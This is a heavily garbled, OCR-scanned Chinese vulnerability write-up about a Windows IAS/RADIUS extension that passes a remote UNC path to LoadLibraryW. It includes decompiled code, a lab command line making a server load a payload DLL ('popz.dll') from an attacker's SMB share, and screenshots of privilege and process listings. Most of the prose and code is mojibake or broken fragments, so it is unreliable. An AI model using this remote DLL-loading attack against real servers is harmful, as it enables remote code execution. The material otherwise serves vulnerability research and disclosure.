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_ int64  fastcall RadiusExtensionPoint::Load(
RadiusExtensionPoint *this,
enum _RADIUS_EXTENSION_POINT aZ2,
const unsigned  intl6 *uncpath)
{
[-]
if ( !IsNT40nly (uncpath) ) // === > # % uncpath, 2% & remote path #F I
{
vb = RadiusExtension::Load (x((RadiusExtension *x%)this + 2),
uncpath); // === > ¥ ¥ uncpath £\ load ##
[...]
}

_ int64 fastcall RadiusExtension::Load (RadiusExtension *this, const unsigned
__int16 *uncpath)
{
[...]
FileNameFromPath = ExtractFileNameFromPath (uncpath) ;
v6 = FileNameFromPath;

v7

—-1i64;
do
++V7;

while ( FileNameFromPath[v7] );

v8 = (unsigned int) (v7 + 1);
v9 = (unsigned int) (v7 + 1) * (unsigned  int128)2ui64;

if ( !is mul ok(v8, 2ui64) )
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*(_QWORD *)&v9 = -1i64;
v10 = (wchar t *)operator new[] (v9, *((const struct std::nothrow t *¥)&v9 +
1))
*(_QWORD *) this = v10;
if (1v10)
return 8i64;
wesepy s (v10, v8, v6);
LibraryW = LoadLibraryW (uncpath); // ===== > m#

T RadiusExtensionPoint::Load B%% # IAS extension server &t &£ N
uncpath & & X8 2 # nt path 7%, {EK% /& remote unc path BJE N, %4
N4 # \\IP\shareddirectory\dl1file &, ¥ ir# client FHEE dl1,
KA R server 3R & dl1 mEFTEZ R,

© 2023 ILFHEBECHILEIRAT



it
|
>t
B
=
s

7 I ) 3R BUIRAE R 55 25 1 35 R A

ZE N, (192.168.217.163) K& K &%, (192.168.217.129) X 535 R 5
B, EETFYREARGBERLIRTRERTF ex.exe, MAERE &
(192.168.217.129) & & ¥ &

W& 2 A B R, K% AR T AT B Payload X, ¥ & B AR A2 L
#H LA K & B DLL X (popz. d11) , Budh 3 F A Am £ H DLL SR o] 16 4 28 8% 1 o]
LI —RFVBRAE, RET HEERSRERE.

3.1. EERELBYUWA P WEZLKRA IP
EEBERES B P 2R

B&# Administrator: Command Prompt - whoami /priv = o X

379.1]
reserved.

ription

Adjust memory quotas for a proc

Load and unload device drivers
Profile stem performance
Change the s) i

Profile

Increase

ug progra Disabled

@ spoolsv.exe 2716 NT AUTHORITYASYSTEM  Spooler SubSystem App
[®] svchost.exe 2760 23MB N..\ANETWORK SERVICE  Host Process for Windows Ser...
v [&] svchost.exe 2792 213MB NTAUTHORIT\SYSTEM  Host Process for Windows Ser...
[ sihost.exe 4856 539MB CORP\Administrator Shell Infrastructure Host
[] svchost.exe 2892 2.88 MB  NTAUTHORITY\SYSTEM Host Process for Windows Ser...
[®] svchost.exe 2172 576 MB NTAUTHORITY\SYSTEM Host Process for Windows Ser...
[®] svchost.exe 3116 146 MB NTA.A\LOCAL SERVICE  Host Process for Windows Ser...
[®) svchost.exe 3288 1.2MB NTA.ALOCAL SERVICE  Host Process for Windows Ser...
[®@] svchost.exe 3472 296 MB  NTAUTHORITY\SYSTEM  Host Process for Windows Ser...
[ svchost.exe 3548 3.34MB N.A\NETWORK SERVICE  Host Process for Windows Ser...
v [#] svchost.exe 3576 11.55MB  NT AUTHORITY\SYSTEM  Host Process for Windows Ser...
[®] AggregatorHoste.. 4200 273MB  NTAUTHORITV\SYSTEM  Microsoft (R) Aggregator Host
[®] dfsrs.exe 3568  0.02 8B/s  1639MB NTAUTHORITY\SYSTEM Distributed File System Replic...
[®] dns.exe 3592 243.84MB  NTAUTHORITY\SYSTEM Domain Name System (DNS)
[®] Microsoft.ActiveDire... 3600 42.98 MB NTAUTHORITV\SYSTEM Microsoft.ActiveDirectory.We...
[®] ismserv.exe 3628 1.85MB NTAUTHORITY\SYSTEM Windows NT Intersite Messagi...
[®] svchost.exe 3696 146 MB NTAUTHORITY\SYSTEM Host Process for Windows Ser...
m vmtoolsd.exe 3716 0.05 1033 MB NTAUTHORITYASYSTEM VMware Tools Core Service
v [®] vm3dservice.exe 3724 149 MB NTAUTHORITY\SYSTEM VMware SVGA Helper Service

CPU Usage: 3.13%  Physical memory: 2.14 GB (53.49%) Processes: 114

Y N
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¥ Select Administrator: Command Prompt = m} X

eRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled l
eDebugPrivilege Debug programs Disabled
JlSeSystemEnvironmentPrivilege Modify firmware environment values Disabled
ChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from d ing station Disabled
eEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Disabled
SeManageVolumeP ilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
TIpSe[reateGlobalPrivilege Create global objects Enabled
SeIncreasellorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic link Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled

C:\Users\Administrator>ipconfig

ndows IP Configuration

jethernet adapter Etherneto:

Connection-specific DNS Suffix . : localdomain
nk-local IPv6 Address

IPv4 Address.

Subnet Mask

Default Gateway

\Users\Administrator>

3.2. BEE MM LA IR IP itk
BERE KRR F 4R PR 2R

[@) test client - VMware Workstation
THE REE =BV SN EREm e | | - ™ @ o |08 O

[[3: test_client

B&# Command Prompt - o X

Enabled
ng set Disabled
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@) test client - VMware Workstation

X ®EE BBV Eg) EmEn 28 | |

test_client

)
RECHEISEIn]

B Command Prompt - [m] X

est>whoami /priv

ILEGES INFOR

traverse checking
a process working set Disabled

ctop>ipconfig

s IP Configuration

82f:a7ds:
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@ testclient - VMware
ST
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[F3! test_client

<o

igdtellin

BE¥ Command Prompt - exexe 192.168.217.129 \\192.168.217.163\test\popz.dll
C: \Users\test>whoami
corp\test

C: \Users\test>whoami /priv

[PRIVILEGES INFORMA

privilege Name ription
Bypass traverse ch

king Enabled
tPrivilege Increase a proces

working set Disabl
t\Desktop>ipconfig

vs IP Configuration

localdomain

8%9

.168.217.11
—

[ windows server vnext - VMware Wor

XA REE ZFEV) SV

I

lows_server_vnext

£ ] suchost.exe 189 MB  NT A..\LOCAL SERVICE
[ svchost.exe

Host Process for Windows Ser...
231MB NTAUTHORITV\SYSTEM  Host Process for Windows Ser...
4 spoolsv.exe

56MB NTAUTHORITVSYSTEM  Soooler SubSvstem Apa
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[B) windows server vnext - VMware Workstation

XEHF REE) BBV EHHM)

windows_server_vnext

lege
ipPrivilege
SeLoadDriverPrivilege
ilePrivilege
temtimePrivilege
ngleP
Priori

ChangeNotifyPri
moteShutdownPri

{8 windows server vnext - VMware Workstation

XHF REE) BBV EHHM)

windows_server_vnext

ERET)  #EBIH)

HERET)  BE)H)

Privilege
ege

=%

=

Adjust

Add workstation
Manage auditing and

Load and

unl
ile system

estore files and dire

r a pri

to domain
Securi
hip of file
d devi
erformar

or

Change the

Create a

r

[
Increase
Change t
Create sy

1.77MB
1.89 MB

at

scheduling priori
pagefile
il

driy

log

other objects

and directorie

ironment valu
traverse checking
utdown from a
computer f
omputer

lume maintenance t

obal

NTA..\LOCAL SERVICE
NTA..\LOCAL SERVICE

Disabled
Disabled

Disabled
Disabled
bled
Disabled
Disabled
Disabled
Disabled
Disabled
Disabled
Disabled
Enabled
Disabled

r delegation

e a client after authentication

in the

Host Process for Windows Ser...
Host Process for Windows Ser...

B select A or: Comm o
1% Process Hacker [CORP\Administrator] - O
Hacker View Tools Users Help
e, % Refresh 4 Options | # Find handles or DLLs 54 System information | [ [ % Search Pre Ctrl+K)
Processes  Services Network Disk
- Name PID  CPU I/Ototal.. Privateb.. Username Description
g‘ v [@] svchost.exe 1720 1.46MB  NTAUTHORITSYSTEM  Host Process for Windows Ser...
2 [ ctfmon.exe 4940 034 445MB CORP\Administrator  CTF Loader
(e ~ [ TebTip.exe 3752 081 41MB CORP\Administrator  Touch Keyboard and Handwri...
e [&] TabTip32.exe 2648 127MB  CORP\Administrator  Touch Keyboard and Handwri...
[®] svchost.exe 1816 805MB NTA..\LOCAL SERVICE Host Process for Windows Ser..
[#] svchost.exe 1960 193MB NTA.ALOCALSERVICE  Host Process for Windows Ser...
&) svchost.exe 192 338MB NTAUTHORITSYSTEM Host Process for Windows Ser...
] svchost.exe 2056 1588 MB NTA.ALOCAL SERVICE  Host Process for Windows Ser...
] svchost.exe 2176 219MB  NTAUTHORITSYSTEM  Host Process for Windows Ser...
[ svchost.exe 2188 3.15MB  NTA..\LOCALSERVICE Host Process for Windows Ser...
~ [&] svchost.exe 2200 493MB NTAUTHORITV\SYSTEM  Host Process for Windows Ser..
[ taskhostw.exe 5784 352MB CORP\Administrator  Host Process for Windows Tasks
¥ m explorer.exe 214 178 524B/s 7802MB CORP\Administrator  Windows Explorer
() vmtoolsd.exe 6528 007 760B/s _ 31.68MB_CORP\Administrator __ VMware Tools Core Service
~ B cmd.exe 13% 294MB  CORP\Administrator  Windows Command Processor
& conhostexe 4620 058 74MB  CORP\Administrator  Console Window Host
v B cmd.exe 2732 275MB  CORP\Administrator ~ Windows Command Processor
B conhostexe 2216 059 694MB CORP\Administrator  Console Window Host
[®7 taskhostw.exe /08 9./MB CORP Host Process for Windows lasks
[®] svchost.ex 2220 123MB  NTAUTHORITWSYSTEM Host Process for Windows Ser..
[ svchost.exe 2400 1.8MB  NTAUTHORITV\SYSTEM Host Process for Windows Ser.
[#] suchost.exe 2464 1.77MB  NTA.ALOCAL SERVICE  Host Process for Windows Ser...
[ svchost.exe 2516 189MB NTA.ALOCAL SERVICE  Host Process for Windows Ser...
[®] svchost.exe 2540 231MB  NTAUTHORITWSYSTEM  Host Process for Windows Ser...
& spoolsv.exe 2716 56MB NTAUTHORITASYSTEM Spooler SubSystem App
[#] svchost.exe 2760 23MB  N.ANETWORK SERVICE  Host Process for Windows Ser...
A= o e e e e e e S N 0 A
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Disabled
Disabled
Disabled

Disabled
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Disabled
Disabled
Disabled

Disabled
Disabled
Disabled
Disabled
Enabled

Disabled
bled
session Disabled

D: bled
Enabled
Enabled
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